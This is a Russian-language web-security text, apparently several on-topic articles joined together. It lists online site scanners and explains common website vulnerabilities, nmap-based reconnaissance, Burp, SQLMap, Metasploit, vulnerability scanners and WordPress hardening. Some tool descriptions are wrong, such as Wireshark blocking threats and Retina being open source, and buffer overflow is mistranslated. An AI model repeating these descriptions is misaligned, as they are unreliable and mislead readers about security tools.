8. Valeria Bertacco. Torturing OpenSSL // Black Hat. 2012.
9. Tom van Goethem. HEIST: HTTP Encrypted Information Can Be Stolen Through TCP-Windows // Black Hat. 2016.
10. Artyom Gavrichenkov. Breaking Https With BGP Hijacking // Black Hat. 2016.
11. Chris Stone, Tom Chothia. Spinner: Semi-Automatic Detection of Pinning without Hostname Verification // Proceedings of the Annual Computer Security Applications Conference (ACSAC) 2017.
12. Marco Ortisi. Recover a RSA Private Key from a TLS Session with Perfect Forward Secrecy // Black Hat. 2016.

PS. Первоначально статья была опубликована на «Хакере».

Одним из наиболее важных вопросов в области информационных технологий является безопасность. Знаете ли вы, что 96% тестируемых приложений имеют уязвимости?

Ниже приведена диаграмма от Cenzic, на которой показаны различные типы найденных уязвимостей.

В этой статье я расскажу о бесплатных инструментах, позволяющих осуществить поиск уязвимостей на сайте, а также проверить его на наличие вредоносных программ.

  • Scan My Server
  • SUCURI
  • Qualys SSL Labs, Qualys FreeScan
  • Quttera
  • Detectify
  • SiteGuarding
  • Web Inspector
  • Acunetix
  • Asafa Web
  • Netsparker Cloud
  • UpGuard Web Scan
  • Tinfoil Security

Список рассматрива емых инструментов:

  • Scan My Server;
  • SUCURI;
  • Qualys SSL Labs, Qualys FreeScan;
  • Quttera;
  • Detectify;
  • SiteGuarding;
  • Web Inspector;
  • Acunetix;
  • Asafa Web;
  • Netsparker Cloud;
  • UpGuard Web Scan;
  • Tinfoil Security.

Сканер сайта онлайн ScanMyServer предоставляет один из самых полных отчетов по тестам безопасности: SQL-инъекциям, межсайтовому скриптингу, инъекциям PHP-кода, раскрытию источника, установке HTTP-заголовков и многое другое.

Scan My Server

Отчет о проверке отправляется по электронной почте с кратким описанием найденных уязвимостей.

SUCURI является самым популярным бесплатным сканером вредоносных программ. Вы можете быстро проверить сайт на уязвимости онлайн, наличие вредоносного кода, SPAM-инъекций и его присутствие в различных черных списках.

SUCURI

SUCURI также очищает и защищает сайт от онлайн-угроз. Инструмент работает на любых CMS, включая WordPress, Joomla, Magento, Drupal, phpBB и т. д.

SSL Labs является одним из популярных инструментов для сканирования веб-сервера SSL. Он обеспечивает углубленный анализ https URL-адреса, общий рейтинг, шифр, версию SSL / TLS, имитацию рукопожатий, информацию о протоколе, BEAST и многое другое.

Qualys SSL Labs, Qualys FreeScan

FreeScan проверяет сайты на OWASP Top Risks и вредоносные программы, по параметрам безопасности SCP, а также выполняет другие тесты. Чтобы выполнить сканирование, необходимо зарегистрировать бесплатную учетную запись.

Quttera проверяет сайт на наличие вредоносных программ и уязвимостей.

Quttera

Этот инструмент позволяет провести проверку сайта на уязвимости онлайн на наличие вредоносных файлов, подозрительных файлов, потенциально подозрительных файлов, phishTank, а также присутствие в списках безопасного просмотра (Google, Yandex) и списках вредоносных программ.

Detectify – это сканер сайта, основанный на SaaS. Он позволяет проводить более 100 автоматических тестов безопасности, включая тест OWASP Top 10, наличие вредоносного программного обеспечения и многие другие.

Detectify

Detectify предоставляет 21-дневную бесплатную ознакомительную версию.

SiteGuarding позволяет проверить домен на наличие вредоносного программного обеспечения, присутствия в черных списках, инъекций спама и многого другого.

Сканер совместим с WordPress, Joomla, Drupal, Magento, osCommerce, Bulletin и другими платформами.

SiteGuarding

SiteGuarding также помогает удалить вредоносное программное обеспечение с сайта.

Web Inspector сканирует сайт и предоставляет отчеты – «черный список», «фишинг», «вредоносные программы», «черви», «бэкдоры», «трояны», «подозрительные фреймы», «подозрительные подключения».

Web Inspector

Acunetix проверяет весь сайт на наличие более 500 различных уязвимостей.

Acunetix

Инструмент предоставляет бесплатную пробную версию на 14 дней.

AsafaWeb предлагает сканирование трассировки, пользовательских ошибок, трассировки стека, патча Hash DoS, журнала EMLAH, HTTP Only Cookies, Secure Cookies, Clickjacking и многого другого.

Asafa Web

Netsparker Cloud – это сканер безопасности корпоративных веб-приложений, который способен обнаружить более 25 критических уязвимостей. Он бесплатен для проектов с открытым исходным кодом. Также можно запросить пробную версию инструмента.

Netsparker Cloud

UpGuard Web Scan – это инструмент оценки внешних рисков, который использует общедоступную информацию по различным факторам, включая SSL, атаки Clickjack, Cookie, DNSSEC, заголовки и т. д. Он все еще находится на стадии бета-тестирования, но его стоит попробовать.

Tinfoil Security сначала проверяет сайт на наличие 10 уязвимостей OWASP, а затем на другие известные угрозы. В конечном итоге вы получите отчет о действиях и сможете повторно просканировать сайт после внесения необходимых исправлений.

Полная настройка займет около 5 минут. Просканировать сайт можно даже если он защищен или для входа на него требуется регистрация.

Tinfoil Security - 2

Одним из основных факторов безопасности любого сайта является постоянный контроль, поэтому вы получите уведомление, когда он дает сбой или подвергается взлому.

Перечисленные инструменты позволяют сканировать сайт по запросу и запланировать автоматическую проверку безопасности. Надеюсь, что приведенный список специализированных средств поможет вам выполнить проверку безопасности сайта.

В статье рассказывается:

  1. Что такое уязвимость сайта
  2. Чем опасна уязвимость сайта
  3. Когда сайт становится уязвимым
  4. Какие существуют типы уязвимости веб-сайтов
  5. Как найти уязвимость на сайте
  6. Самые популярные на сегодняшний день сканеры уязвимости сайтов
  7. О поиске уязвимостей на сайтах WordPress
  8. Что делать, если сайт все же взломали

На сегодняшний день уязвимость сайтов — одна из самых актуальных проблем для их владельцев. Действительно, если в руках мошенников окажется какая-то важная информация, под удар может попасть не только авторитет веб-площадки — возникнет угроза потери денежных средств, то есть дохода, ради которого и создавался сайт.

Есть ли способы обезопасить свои интернет-ресурсы? Можно ли избежать вторжения злоумышленников, цель которых — навредить конкуренту либо заполучить нечестным путем чужие деньги? Статья как раз об этом.

Что такое уязвимость сайта

Легче будет разобраться на примере. Вообразите себе такую картину: ваша веб-платформа — это укрепленный замок, очень надежный, с высокими стенами, охраняемыми воротами, с пушками в бойницах, а вокруг — ров, наполненный водой. Все идеально функционирует и охраняется. И вот нашелся злоумышленник, который сумел перелезть через ограждение. Другой спокойно вошел через ворота, сделав вид, что он простой торговец. А третий нашел секретный ход для своих и сумел им воспользоваться.

Что такое уязвимость сайта

Вот примерно так же обстоят дела и с уязвимостью сайтов. Вы можете приложить все усилия к тому, чтобы обезопасить каждый из его модулей, применить современнейшие инструменты, однако в системе нет-нет да и обнаружится уязвимое место, которое станет угрозой для безопасности ресурса. Вот через такие лазейки и действуют хакеры, устраивают сбои в работе и подчиняют себе чужие серверы.

Под уязвимостью (по-английски — vulnerability) веб-разработчики подразумевают слабые места в коде ресурса либо в программах, используемых сервером. Как раз через них и можно проникнуть в систему и нарушить ее работу.

Откуда берутся эти уязвимые места? Ошибки могли быть допущены на стадии создания сайта, его программирования. У паролей оказалась слабая надежность. Не исключено, что уже были атаки или выполнялись неудачные скриптовые и SQL-инъекции.

Когда есть такое слабое место, система позволяет злоумышленнику совершать действия, которые по идее не должны быть ему разрешены. Суть атаки состоит во внедрении в программу ложных кодов или данных, которые принимаются как верные.

На практике в большинстве случаев причиной проблем становится принятие веб-ресурсом плохо проверенных данных (которые вносит пользователь). Таким образом любые некорректные и опасные команды оказываются вставленными в интерпретируемый код.

Бывают и более сложные ситуации — например так называемое переполнение буфера обмена (когда в него пихают слишком большие материалы, не убедившись в том, что для них там достаточно места).

Некоторые уязвимости существуют лишь в теории, но большая их часть (для них даже есть специальные эксплойты) представляет собой реальную проблему.

Чем опасна уязвимость сайтов

Первое — вы больше не контролируете полностью собственный ресурс. И это серьезная проблема. Содержание публикуемого контента теперь может оказаться таким, что поисковики отправят вас в черные списки. Кроме того, права администрирования (пароли, логины) оказываются в руках хакеров, которые могут запросить выкуп за то, чтобы вернуть вам возможность управления собственной площадкой.

Второе — злоумышленники получают доступ к базам данных пользователей. И не так страшно, если это логины, пароли либо содержание писем. А вот попадание в чужие руки платежных данных представляет собой уже серьезную проблему.

Третье — ресурс может быть использован как источник рассылки писем с опасным для получателей кодом, который становится причиной серьезных сбоев в работе ПК. Чтобы адресат наверняка открыл такое письмо, в нем предлагается, к примеру, интересная вакансия, сообщение о крупном выигрыше, напоминание о давнем государственном штрафе, якобы не оплаченном вовремя, и т. д.

Четвертое — на взломанном объекте мошенники размещают фишинговые (фейковые) страницы, имитирующие настоящие (существующие в социальных сетях, у банковских организаций или в электронной коммерции). Попадая на такую страницу и пытаясь провести какую-либо оплату, пользователь, ничего не подозревая, оставляет свои финансовые данные, которые тут же оказываются в распоряжении мошенников.

Еще одна опасность, которую влечет за собой уязвимость сайтов, — возможность заражать другие веб-площадки с помощью вредоносных скриптов, внедренных на взломанные веб-ресурсы. Они же могут использоваться ботами и в качестве промежуточного сервера для организации мощных DDoS-атак.

Чем опасна уязвимость сайтов

Стоит упомянуть и о возможности размещения на взломанной площадке так называемого редиректа, то есть кода, автоматом направляющего посетителя на другие страницы, где предлагается оформление платной подписки.

Пользователь может перенаправляться и на страницы с вирусами. Здесь чаще используется уязвимость, характерная для некоторых операционных систем или версий программного обеспечения. Человек скачивает файл с вирусом, а тот в свою очередь запускает установку зараженных программ, которые нарушают работу всех устройств в системе.

Кроме того, взломанная площадка может оказаться в немилости у поисковиков и съехать на последние позиции выдач из-за установленных редиректов, непрерывной рассылки спама, некорректного контента и т. д. Владельцу придется потратить немало средств и усилий, чтобы вернуть своему веб-ресурсу прежнее уважаемое положение.

Когда сайт становится уязвимым

Для защиты веб-площадки от взлома недостаточно решить лишь техническую сторону вопроса, роль человеческого фактора тут тоже велика. Проводимые тестирования сайтов на уязвимости показали, какие слабые места наиболее опасны и могут стать причиной сбоев в работе ресурса любого объема и профиля. Вероятность взлома, а также быстрота восстановления, если он все-таки произошел, зависит от того, как успешно вы сможете устранить эти уязвимости.

Использование ПО из непроверенного источника

Владельцы ресурсов скачивают модули и плагины лишь бы откуда и устанавливают их на своих площадках, что становится причиной заражения. Чтобы избежать подобных проблем, пользуйтесь только официальными источниками (или имеющими статус официальных) для наполнения сайта новыми элементами дизайна, свежими версиями CMS и проч. К примеру, официальный репозиторий плагинов выступает в качестве источника для всем известной WordPress.

Использование устаревших версий программного обеспечения

Компьютеры и их ПО необходимо регулярно обновлять. Так же, как веб-специалисты стремятся поддерживать безопасность сайтов, хакеры, со своей стороны, не оставляют попыток их взламывать и овладевать важными данными. Шансы злоумышленников будут гораздо слабее, если вы будете использовать новые стабильные варианты ПО.

Использование устаревших версий программного обеспечения

Самое важное значение тут имеют компоненты (ядро, модули, плагины, расширения и темы) программного обеспечения, через которые осуществляется управление веб-ресурсом, то есть CMS. Их обязательно нужно обновлять регулярно. Следует упомянуть, что при этом нередко приходится сталкиваться с несовместимостью старых компонентов системы с обновленными.

На веб-ресурсе нет SSL-сертификата

Имеется в виду специальная цифровая подпись, которая подтверждает, что для передачи любых данных используется безопасный протокол шифрования HTTPS. Если сертификат есть, то в строке поисковика около ссылки будет значок замочка.

Приобрести как платный, так и бесплатный SSL-сертификат можно в специальных центрах сертификации. У первых срок действия дольше, а также в данном случае гарантируется возмещение финансовых потерь, если утечка информации все же произошла.

Использование паролей в незашифрованном виде

Пароли лучше шифровать, причем предпочтительнее использовать для этого специальный алгоритм хеширования (к примеру, разряда SHA). В момент аутентификации в таком случае к проверке допускаются лишь зашифрованные данные пользователей.

Снизить уязвимость помогут и обязательные условия для формирования паролей. Среди них может быть требование использовать минимальное оговоренное число символов разного регистра, букв вместе с цифрами и т. д. Пароль вида 12345 — весьма сомнительная защита. Что касается длины, то комбинация из 20 символов считается надежной, а меньше 8 — не допускается.

Использование паролей в незашифрованном виде

Какие существуют типы уязвимости веб-сайтов

  1. Вероятность взлома через инъекции

    Имеется в виду, что пользователь вводит интерпретатору непроверенные данные, а они попадают на сайт. Это может произойти в результате действий любого посетителя. Чаще всего случаются инъекции с кодами SQL, LDAP, XXE, OS.

    SQL-инъекции происходят чаще других. С их помощью хакеры проникают в базы данных и не только пользуются засекреченной информацией, но могут даже сами корректировать показатели. По каким причинам возникают подобные уязвимости? Это происходит, если интерпретатор получает данные без обязательных управляющих последовательностей либо команд (в SQL это, к примеру, кавычки).

  2. Осложнения на этапе аутентификации и управления сессиями

    Существует большое количество приложений, которые идентифицируют пользователя, прежде чем начать работу с ним. Нередко в функционале происходят сбои, и тогда учетные записи посетителей оказываются в руках мошенников без введения паролей. Хакеры научились перехватывать и использовать (как единожды, так и многократно) ключи и токены, по которым система распознает своих клиентов.

  3. Уязвимость сайтов XSS (межсайтовый скриптинг)

    Это не самый серьезный вид опасности для сервера, он больше представляет угрозу для браузера пользователя. Cross-Site Scripting — это, по сути, инъекции, работающие через JavaScript. Хакер вписывает JS-код в какое-нибудь поле, а поисковик пользователя рассматривает его как правильный (потому что он как будто бы пришел с сайта) и принимает к исполнению. Чтобы защитить себя от подобных внедрений, рекомендуется использовать функции типа htmlspecialchars (либо аналогичные), которые позволяют экранировать используемые спецсимволы.

  4. Потеря контроля над доступом к ресурсу

    Даже на серьезных известных движках случается, что не предназначенные для пользователей данные оказываются открытыми (из-за оплошностей администрирования). Например, ситуации с файлами в корне адреса ресурса. Файл вида wp-config.php (то есть с расширением php) не откроется через пароли доступа к базам данных. Браузер сможет открыть лишь резервную копию с расширением .swp, которая сформируется, если изначальный вид расширения преобразовать в Vim. Еще один вариант проблемы контроля доступа — это сбои в коде приложения, из-за которых неавторизованным посетителям становится доступна засекреченная информация.

    Потеря контроля над доступом к ресурсу

  5. Неправильные виды конфигураций

    Проводимые анализы сайтов на уязвимости показывают, что одних только безопасных конфигураций (грамотно разработанных с использованием современных фреймворков) недостаточно. Важна также и корректная настройка безопасности сервера. Это процесс, требующий постоянной доработки и поддержания. Если хотите оставить настройки конфигураций, заложенные по умолчанию, то имейте в виду, что они, во-первых, не всегда надежны, а во-вторых, требуют регулярного обновления, иначе быстро утратят свою актуальность.

  6. Передача конфиденциальных данных в незащищенном виде

    Такое происходит на многих веб-площадках при использовании определенных API и приложений. То есть практикуется открытая передача сведений, которые вообще-то должны быть засекречены. Для их защиты существуют специальные инструменты, к примеру шифрование https и иные. В противном случае хакерам не составит труда украсть и даже внести изменения в ваши данные, используя вид атаки под названием «человек посередине».

  7. Слабая защищенность от разного вида атак

    Для того чтобы увидеть и предотвратить атаку, недостаточно просто проверить логин и пароль. Необходимы специальные инструменты, которых у большей части приложений и API нет. Серьезная защита предполагает не только обнаружение, но и сверку с протоколами, а также блокирование попыток пиратского проникновения. Кроме того, веб-мастерами должны быть продуманы возможности для своевременного обновления защитных механизмов.

  8. CSRF-уязвимости сайтов

    Суть подобной атаки (расшифровывается как Cross-Site Request Forgery) состоит в том, что поисковик пользователя направляет свой HTTP-запрос в приложение, слабо защищенное от возможного взлома. В таком запросе могут быть любые автоматически добавленные сведения, файлы, куки и т. д.

    Получается, что хакер формирует запросы как бы от имени браузера пользователя, и приложение не воспринимает их как липовые. К примеру, человек просто кликнул по ссылке, и в результате его аккаунт может быть даже удален либо друзьям пользователя автоматически начинают приходить какие-то рекламные сообщения.

  9. Установка компонентов с уязвимыми местами

    Имеются в виду составляющие веб-ресурсов, работающие по аналогии с приложениями. Это, например, фреймворки, библиотеки и проч. Уязвимость может крыться в одном из таких модулей, взломав который мошенники получат доступ к вашим данным и даже возможность вмешиваться в управление сервером. Поэтому использование подобных компонентов создает угрозу для безопасности приложений и API, открывает пути для всевозможных вторжений и захвата данных пользователя.

  10. API без специальной защиты

    Сейчас почти во всех веб-приложениях есть специальные клиентские программы и API-интерфейсы, действующие через JavaScript. К ним есть доступ через поисковики либо через мобильные средства связи. Протоколов для их использования масса — REST/JSON, SOAP/XML, GWT, RPC и другие. Так вот, слабые места могут быть именно в самих API, что делает систему доступной для атак.

    API без специальной защиты

Таким образом, проблемы могут быть совершенно разного характера, начиная от CSRF, SQL, XSS-уязвимостей сайта и заканчивая слабыми местами в серверных настройках.

Как найти уязвимость на сайте

Проверка сайта на уязвимость выполняется в несколько этапов. Нельзя просто нажать кнопку и быстро одним махом выявить все слабые места — важно получить о них как можно больше подробных сведений. Процесс состоит из следующих шагов:

  1. Сбор данных (разведка). Необходимо разыскать как можно больше информации о сети либо серверах, которыми вы пользуетесь.

  2. Анализ и сканирование (с учетом полученных разведданных) обнаруженных на вашем веб-ресурсе уязвимостей.

  3. Пробная эксплуатация. Тестировщики не всегда выполняют данный этап, это делается лишь в том случае, если опасность необходимо продемонстрировать.

  4. Корректировка. Тут принимаются меры для устранения обнаруженных на веб-платформе слабых мест.

На каждом из перечисленных этапов необходимо выполнить ряд действий, применив при этом определенный инструментарий. Практика показывает, что использование каждой из таких программ-тестеров по отдельности не так эффективно, как их совмещение в виде готовой среды для тестирования на возможные угрозы. Имеется в виду проверка сайта на уязвимости через KaliLinux (от Linux). Это очень удобно: достаточно лишь взять с флешки сохраненную там систему и запустить ее установку на жесткий диск вашего устройства.

Сбор сведений (разведка)

Ваша цель на начальном этапе поиска уязвимостей на сайте состоит в том, чтобы выяснить, какие данные о вас могут стать доступны посторонним. Для этого существует специальный инструментарий, в частности nmap. Он показывает информацию о работающих на сервере сервисах (и их версиях), используемых портах, версию самой операционки.

Сбор сведений (разведка)

Например, для просмотра работающих портов в своем устройстве необходимо в KaliLinux запустить следующую команду:

nmap -sS 192.168.91.249

Цифровая последовательность — это IP вашего ресурса. В результате вы увидите, какие порты открыты и какие сервисы использует система. Однако и этих сведений уже достаточно, чтобы сделать определенные выводы. К примеру, если на компьютере работает SSH-, веб-, прокси-сервер (на порту 3128) и еще, например, Samba (инструмент для обмена файлами), то понятно, что они вполне могут содержать в себе уязвимости.

Для более глубокой разведки отлично подойдет опция А сканера Nmap. Команда выглядит так:

nmap -A 192.168.91.62

Данный инструмент предоставляет больше сведений. Вы сможете увидеть, какая операционка используется системой, версии специальных сервисов, как управляется контент, время в системе. Программа сразу покажет вам мелкие недочеты, например недостаточно надежный FTP-пароль.

Вообще, постарайтесь из любых возможных источников узнать, какие сведения о вас есть в свободном доступе и открыты ли данные, которые вообще-то должны быть засекречены.

Для этого существует несколько специальных сервисов:

  • whois — предоставляет сведения, которые доступны для всеобщего обозрения. Имеется в виду владелец ресурса, его контактные данные, домен, регистратор и проч.;

  • Netcraft — находит существующие у сайта поддомены;

  • recon-ng — данный инструмент входит в набор KaliLinux и позволяет выполнять поиск уязвимостей сайта онлайн;

  • com/reverse-ip-lookup — выдает сайты, существующие на вашем IP (разумеется, если они есть);

  • Maltego Chlorine — пользуется большой популярностью, имеет открытый исходный код и собирает сведения из любых источников, к которым есть свободный доступ.

Теперь, собрав достаточное количество сведений, необходимо проанализировать их и выполнить онлайн-проверку сайта на уязвимость с помощью KaliLinux.

KaliLinux

Анализ и сканирование

Здесь популярен так называемый фаззинг. Как искать уязвимости сайта с его помощью? Вы нарочно передаете собственному ресурсу большой объем абсолютно разных данных, чтобы увидеть, какие места системы окажутся наиболее слабыми. Это будет понятно по тому, как приложения отреагируют на ложные атаки.

Фаззинг, конечно, помогает найти в системе слабые места, однако точную суть ошибок в работе приложений с его помощью понять достаточно сложно. Это проще сделать, если совместить фаззинг с анализом вручную, но тогда вам понадобится доступ к исходным кодам ресурса.

Имейте в виду, что в процессе фаззинговых атак происходит передача очень больших объемов информации, поэтому процесс протекает довольно громко. Причем следует проявить большую внимательность, потому что система защиты будет реагировать на эти импровизированные взломы.

Вот перечень некоторых инструментов для процедуры сканирования:

  • WPScan — специальная разработка от Ruby, предназначенная для анализа WordPress. Имеет открытый код доступа. Пользоваться инструментом очень легко, и он отлично вам подойдет, если вы нечасто обновляете свой ресурс и на нем задействовано довольно много плагинов. Утилита сканирует ресурс удаленно и исходным кодом не пользуется.

  • BurpSuite — запускается через поисковик и является серьезным инструментом для выявления уязвимостей сайта или каких-либо приложений. Утилита отличается широким спектром действия, затрагивает все формы веб-ресурса, тестирует разные заголовки, запросы, вбиваемые в поисковик, и ответы на них, сканирует URL, анализирует JavaScript-код, выявляет XSS-уязвимости сайта. Вообще это довольно мощная программа, но ею не так-то просто пользоваться.

  • SQLMap — используется для сканирования сайтов с SQL-уязвимостями. Находит опасные места, где может произойти SQL-вторжение.

Пробная эксплуатация

Это завершающий этап в процессе поиска слабых мест, через которые может произойти взлом вашего веб-ресурса. По сути, если вам удалось устранить опасности, то задача решена. Но нередко проблемы бывают довольно сложные, требующие серьезных проверок, и их лучше не выполнять на производственных системах. Рекомендуется в таких случаях сформировать виртуальный объект и на нем демонстрировать работу всех процессов.

Для этого существует специальный инструментарий:

  • BurpSuite — служит для обнаружения XSS-уязвимостей сайта и их проверки путем эксплуатации;

  • SQLMap — средство для обнаружения SQL-уязвимостей сайта и их проверки путем эксплуатации;

  • Metasploit — используется для эксплуатации обнаруженных уязвимостей.

Metasploit

Последний из названных инструментов (Metasploit) представляет собой специально сформированную среду для обнаружения опасных мест, через которые может произойти атака.

Здесь есть уже готовые эксплойты как для добавленных к системе плагинов, так и для сервисов, выявленных еще на начальном этапе.

Завершающий шаг. Теперь необходимо внести в систему все необходимые исправления. Сведения об уязвимостях уже собраны, осталось только ими воспользоваться. Имейте в виду, что если вам самим удалось обнаружить опасные «трещинки», то их легко найдут и хакеры.

Здесь было перечислено лишь несколько наиболее популярных сервисов, с помощью которых обнаруживаются уязвимости сайтов. Среди этих программ есть и такие, которые представляют собой промышленный стандарт. Впрочем, любые из них отлично способны обезопасить ваш веб-ресурс либо инфраструктуру.

Самые популярные на сегодняшний день сканеры уязвимости сайтов

Для служб информационной безопасности очень важно существование специальных инструментов для тестирования систем на предмет наличия в них уязвимых мест. Новые угрозы возникают ежедневно, и очень важно своевременно уметь находить их и ликвидировать.

Благодаря специальным технологиям специалисты могут сканировать все составляющие системы, приложения, операционку, прочее оборудование.

Кейс: VT-metall

Узнай как мы снизили стоимость привлечения заявки в 13 раз для металлообрабатывающей компании в Москве

Узнать как

Программы поиска уязвимостей сайта позволяют в непрерывном автоматическом режиме запускать сканирование сети и выявлять таким образом все опасные для вторжения места.

Чтобы гарантированно обезопасить свою сеть от возможных атак, важно, чтобы веб-сканер выполнял и аутентифицированное, и неаутентифицированное сканирование.

  1. OpenVAS

    OpenVASЭто программа, позволяющая выполнять комплексные проверки серверов и всех подключенных устройств системы.

    Сканер OpenVAS находит IP-адрес, а затем, используя открытые порты, осуществляет поиск незащищенных служб. Он обнаруживает любые неправильные конфигурации, так называемые дыры во всех составляющих системы.

    Программа в автоматическом режиме формирует отчет о проделанной работе и высылает его владельцу ресурса на email, чтобы тот мог проанализировать найденные опасности и принять меры к их устранению.

    Настройки данного инструмента позволяют запускать его в работу и с внешнего сервера. А это означает, что можно больше узнать о взломщике, понять, через какие порты или программы он может действовать, и принимать экстренные меры для его обезвреживания.

    Сканер OpenVAS может стать отличным дополнением к вашей собственной системе выявления и устранения опасностей (если она у вас есть). Данный инструмент позволяет проводить более качественное тестирование вашей сети и оперативно находить места, доступные для внешних атак.

  2. Tripwire IP360

    Tripwire IP360Сервис широкого действия, который сканирует всю систему целиком вместе с ее локальными, облачными, контейнерными активами. IP360 Tripwire — довольно популярный и мощный инструмент для проверки сайта на уязвимость.

    Программа работает таким образом, что для проверки ваших ресурсов достаточно выполнить относительно небольшое число операций.

    Кроме того, использование сканера Tripwire IP360 открывает больше возможностей администраторам и специалистам, отвечающим за информационную безопасность, позволяет комплексно управлять всей системой. Это возможно благодаря тому, что работу данного инструмента можно совмещать с управлением уязвимостями и рисками.

  3. Nessus

    NessusДанный инструмент разработан компанией Tenable. Он позволяет не только обнаруживать вирусные элементы во всех составляющих программного обеспечения (в операционной системе, приложениях, рекламном ПО), но и удалять вредоносные объекты, исправлять ошибки в настройках.

    Сканер Nessus Professional запускает так называемую упреждающую процедуру безопасности. Имеется в виду, что уязвимости сайтов обнаруживаются и устраняются до того, как их успеют использовать мошенники. Плюс программа вносит исправления в процедуру удаленного выполнения кода, если это необходимо.

    Сервис охватывает своим вниманием виртуальные, физические, облачные активы и устройства.

  4. Comodo HackerProof

    Comodo HackerProofОтличный надежный инструмент, функционал которого позволяет ежедневно контролировать наличие уязвимостей на сайте.

    Есть несколько вариантов выполнения сканирования системы: возможность предупреждения хакерских вторжений плюс технология siteinspector для тестирования новых современнейших веб-ресурсов.

    Еще один важный бонус от Comodo HackerProof — индикатор безопасности для пользователей.

    Кроме того, система siteinspector выступает и в роли счетчика осуществленных попыток вторжения.

  5. Nexpose Community

    Nexpose CommunityРазработка от Rapid7. Действует на открытом исходном коде и охватывает проверками все составляющие вашей системы.

    Администраторы любят этот сканер за его универсальность. Он корректно встраивается в Metaspoit (инфраструктура, которая не прекращает тестирование даже в те моменты, когда в работу вступает какое-либо только что подключенное устройство).

    Сканер Nexposse Community выявляет, насколько сайт может быть подвержен внешним угрозам, и подбирает подходящие способы для их устранения.

    Предоставляется возможность в течение года пользоваться данным инструментом бесплатно и только потом при желании приобрести платную версию.

  6. Vulnerability Manager Plus

    Vulnerability Manager PlusДанный современнейший инструмент — новое детище ManageEngine.

    Vulnerability Manager Plus появился на рынке сравнительно недавно и обладает широкими возможностями. Его функционал позволяет службам информационной безопасности взглянуть на веб-ресурс глазами хакера и попытаться определить места, подходящие для вторжения.

    Здесь есть инструмент сканирования объекта в автоматическом режиме, функция оценки рисков ПО, определения ошибок в настройках безопасности и их корректировки, анализ воздействия. Программа исследует и устраняет уязвимости нулевого дня, осуществляет усиление проникновения веб-сервера.

    На 25 объектов данный сканер можно установить бесплатно.

  7. Nikto

    NiktoЕще один инструмент, за использование которого не нужно платить. С его помощью можно протестировать функционал сервера, исследовать его работу, определить слабые, доступные для атак места, выявить вирусы (если они есть). Также есть функция проверки работы протоколов https, httpd, HTTP и прочих. Кроме того, Nikto умеет быстро тестировать несколько серверных портов одновременно.

  8. Wireshark

    WiresharkЭто один из мощнейших инструментов для сканирования уязвимостей сайтов. Wireshark активно используется на государственных предприятиях и в учреждениях здравоохранения, для обеспечения информационной безопасности сетей правительственных объектов и в иных важных отраслях.

    Обнаружив угрозу, программа блокирует ее и выполняет проверку. Подходит для использования на Windows, Linux, macOS.

    Wireshark отличается от других анализаторов наличием трехпанельного браузера пакетов и хорошего графического интерфейса. Плюс тут есть хорошие отображающие фильтры, функция анализа VolP. Сканер приспособлен для работы с различными протоколами, среди которых WEP, SSL/TLS, Kerberos.

  9. Aircrack-ng

    Aircrack-ngИспользуется для обеспечения безопасности WiFi-сетей. Aircrack-ng позволяет проводить аудит, следить за работой Wi-Fi-соединения, контролировать его безопасность. Кроме того, программа используется в качестве хакерского приложения, снабжена картами и драйверами, необходимыми для имитации внешних вторжений. Aircrack-ng умеет находить потерянные ключи, сохранять важные данные. Операционная система подходит для работы с Windows, OS X, Linux, NetBSD, Solaris.

  10. Retina

    RetinaУ сетевого анализатора Retina — открытый исходный код, а обнаружение и устранение уязвимостей сайтов выполняется тут из центрального положения. Функционал программы обеспечивает корректировку, конфигурирование, формирование соответствующей отчетности.

    Анализирует базы данных, серверы и используемые программы. Органично интегрируется с VCenter и виртуальными областями сканирования.

О поиске уязвимостей на сайтах WordPress

Большая ошибка полагать, что только что созданному сайту с малым потоком трафика и небольшим количеством хранящихся личных данных ничего не угрожает. Для мошенников представляет интерес и такая площадка: на ней можно устроить файлообменник или канал для перенаправления потока трафика. И вам это очень дорого обойдется, если хостинг взимает плату за использование веб-платформы в качестве такого посредника.

Более того, есть риск, что сайт и вовсе будет отключен хостингом, потому что начнет представлять угрозу для других пользователей сервера. А хакерам без разницы, новый объект или старый, — им необходима просто платформа вместе с ее ресурсами.

Система WordPress пользуется очень большой популярностью и сейчас, к примеру, обслуживает порядка 80 миллионов сайтов.

Хакерские боты действуют очень активно. Статистические данные таковы: в прошедшем году только в течение первых шести месяцев осуществлялась примерно тысяча атак ежесекундно, и довольно многие из них оказывались успешными.

О поиске уязвимостей на сайтах WordPress

Но и веб-разработчики тоже не сидят сложа руки, пока мошенники взламывают сайты один за другим. Они очень быстро придумывают и запускают в работу обновления, заботящиеся об информационной безопасности. Кроме того, с большей частью уязвимостей сайтов используются давно выработанные методы борьбы.

Если говорить конкретно о WordPress, то здесь чаще всего обнаруживаются следующие уязвимости:

  • утратившее свою актуальность программное обеспечение, в частности плагины, темы и прочее;

  • использование «избитых» логинов (типа «administrator», «admin»), имени домена и т. д.;

  • слишком простые пароли;

  • криво оформленные права доступа к файлам;

  • шаблонный префикс базы данных;

  • активированный (через админку) допуск на редактирование тем и плагинов;

  • использование небезопасного устройства либо хостинга.

Обязательно исследуйте свой веб-ресурс на наличие лазеек для хакеров и ликвидируйте их, если они обнаружатся. Существует целый ряд программ для поиска уязвимостей сайта на WordPress. Вот некоторые из них:

  • Unmask Parasites — позволяет определить, удалось ли злоумышленникам проникнуть на сайт и оставить на нем вирусные коды либо спам.

  • ScanMyServer — дает возможность каждую неделю бесплатно выполнять сканирование своего ресурса, обнаруживает опасные места и формирует подробные отчеты. Чтобы воспользоваться данным сервисом, необходимо зарегистрироваться (процедура тоже бесплатная) и поставить в футере своего веб-ресурса картинку со ссылкой на ScanMyServer.

  • VirusTotal — мощный инструмент, работающий с такими сканерами, как Касперский, Yandex Safe Browsing, ESET, Dr. Web и прочими (всего более 50). С помощью VirusTotal можно исследовать всю веб-платформу, отдельный файл или IP-адрес.

  • WordPress Security Scan — сканирует на наличие уязвимостей сайты, размещенные на WordPress. Для выполнения детального тестирования необходимо оплатить подписку.

  • Norton Safe Web — входит в пакет Norton, обнаруживает зараженные вирусами элементы программного обеспечения.

  • Acunetix — работает с разными сайтами (не только теми, что расположены на WordPress). Можно воспользоваться двухнедельным бесплатным тестовым периодом, но для этого придется зарегистрироваться.

  • Sucuri SiteCheck — обнаруживает вредоносное либо неактуальное ПО, различные виды ошибок, проверяет, не оказался ли ваш веб-ресурс в черном списке (сервису сейчас доступны для сверки 9 списков).

  • Web Inspector — обнаруживает всевозможные вирусы, трояны, фишинги, бэкдоры и т. д., выявляет опасные составляющие программного обеспечения. Работает довольно быстро, формирует достаточно подробный отчет.

